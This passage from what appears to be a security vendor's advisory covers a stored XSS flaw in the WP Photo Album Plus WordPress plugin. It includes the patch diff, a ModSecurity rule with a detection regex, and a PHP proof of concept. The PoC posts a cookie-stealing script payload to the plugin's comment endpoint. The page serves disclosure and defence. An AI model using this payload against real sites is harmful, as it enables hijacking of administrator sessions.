-	$to = 		array(	"><",  "",          "n<!--", '">',  '&',     'style="',  '" />', ' ',          'px;', '>'  );
+	$from = 	array( 	"> <", "<ul></ul>", "<!--",   '" >', 'style=" ', '"/>',  ' style=""', 'px;', '/>' );
+	$to = 		array(	"><",  "",          "n<!--", '">',  'style="',  '" />', ' ',          'px;', '>'  );

 	$result = str_replace( $from, $to, $result );

@@ -6590,4 +6593,48 @@
 	$may = in_array( $album, $albums );

 	return $may;
-}
 No newline at end of file
+}
+
+// Sanitize string to contain only a--z A--Z 0--9 # $ , . - _
+function wppa_alphadec( $string, $extra = '', $indicate = false ) {
+static $allowed_dflt;
+static $allowed_extra;
+
+	if ( is_array( $string ) ) {
+		wppa_log('err', 'wppa_alpgadec() called with an array' );
+		return '';
+	}
+
+	if ( ! $allowed_dflt ) {
+		$allowed_dflt = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
+						 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
+						 '0','1','2','3','4','5','6','7','8','9'];
+		$allowed_extra = ['-','_','#','$',',','.',' '];
+	}
+
+	$check_against = $allowed_dflt;
+	if ( $extra != 'strict' ) {
+		$check_against = array_merge( $check_against, $allowed_extra );
+	}
+	if ( is_array( $extra ) ) {
+		$check_against = array_merge( $check_against, $extra );
+	}
+
+	$result = '';
+	$len = strlen( $string );
+	if ( $len ) {
+		$idx = 0;
+		while ( $idx < $len ) {
+			$char = substr( $string, $idx, 1 );
+			if ( in_array( $char, $check_against ) ) {
+				$result .= $char;
+			}
+			elseif ( $indicate ) {
+				$result .= '*';
+			}
+			$idx++;
+		}
+	}
+
+	return $result;
+}
--- a/wp-photo-album-plus/wppa.php
+++ b/wp-photo-album-plus/wppa.php
@@ -2,7 +2,7 @@
 /*
  * Plugin Name: WP Photo Album Plus
  * Description: Easily manage and display your photo albums and slideshows within your WordPress site.
- * Version: 9.3.07.003
+ * Version: 9.3.08.001
  * Author: J.N. Breetvelt a.k.a. OpaJaap
  * Author URI: http://opajaap.nl/
  * Plugin URI: https://wppa.nl/
@@ -22,7 +22,7 @@
 global $wp_version;

 /* WPPA Version */
-global $wppa_version; 		$wppa_version = '9.3.07.003';							// WPPA software version
+global $wppa_version; 		$wppa_version = '9.3.08.001';							// WPPA software version
 global $wppa_revno; 		$wppa_revno = str_replace( '.', '', $wppa_version );	// WPPA db version

 /* Init page js data */

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137124
# Blocks the double-encoded entity pattern used to bypass wp_kses_post/esc_js
# in the WP Photo Album Plus comment submission action (data[comment]).
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026137124,phase:2,deny,status:403,chain,msg:'CVE-2026-137124 WP Photo Album Plus stored XSS via data[comment]',severity:'CRITICAL',tag:'CVE-2026-137124'"
  SecRule ARGS_POST:action "@streq wppa_comment" "chain"
    SecRule ARGS_POST:data[comment] "@rx &(?:amp;){2,}#(?:x?[0-9a-fA-F]{2,6});|&amp;#(?:39|34|x27|x22);" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137124 - WP Photo Album Plus <= 9.3.07.003 - Authenticated (Subscriber+) Stored XSS via Comment Field
//
// This PoC assumes the attacker already has a valid subscriber-level session cookie
// for a WordPress site running WP Photo Album Plus <= 9.3.07.003.
// It submits a comment whose double-encoded entity survives wp_kses_post/esc_js
// and is later collapsed by wppa_compress_html() during rendering.

$target_url = 'http://example.com';                 // WordPress site URL
$cookie     = 'wordpress_logged_in_...';            // Subscriber session cookie
$photo_id   = 1;                                    // Target photo ID
$comment    = "&amp;#39;};alert(document.cookie);//";  // Double-encoded payload

// Step 1: Submit the malicious comment via the WP Photo Album Plus comment AJAX endpoint.
// The plugin registers the wppa_comment action on admin-ajax.php (front-end path).
$post_fields = [
    'action'       => 'wppa_comment',
    'photo'        => $photo_id,
    'data[comment]'=> $comment,   // The vulnerable data.comment parameter
    'data[name]'   => 'attacker',
    'data[email]'  => 'attacker@example.com',
];

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt_array($ch, [
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_fields),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE         => $cookie,
    CURLOPT_HTTPHEADER     => ['Content-Type: application/x-www-form-urlencoded'],
]);
$response = curl_exec($ch);
$status   = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Comment submission HTTP status: $statusn";
echo "[+] Response: " . substr($response, 0, 400) . "n";

// Step 2: Confirm the payload was stored. The compression pass fires when an
// administrator renders the photo page at /?wppa-album=... or the admin comment list.
// An attacker cannot trigger execution alone; admin action is required.
echo "[+] Stored payload: $commentn";
echo "[+] XSS fires when an admin views the affected photo/comment in the admin UI.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.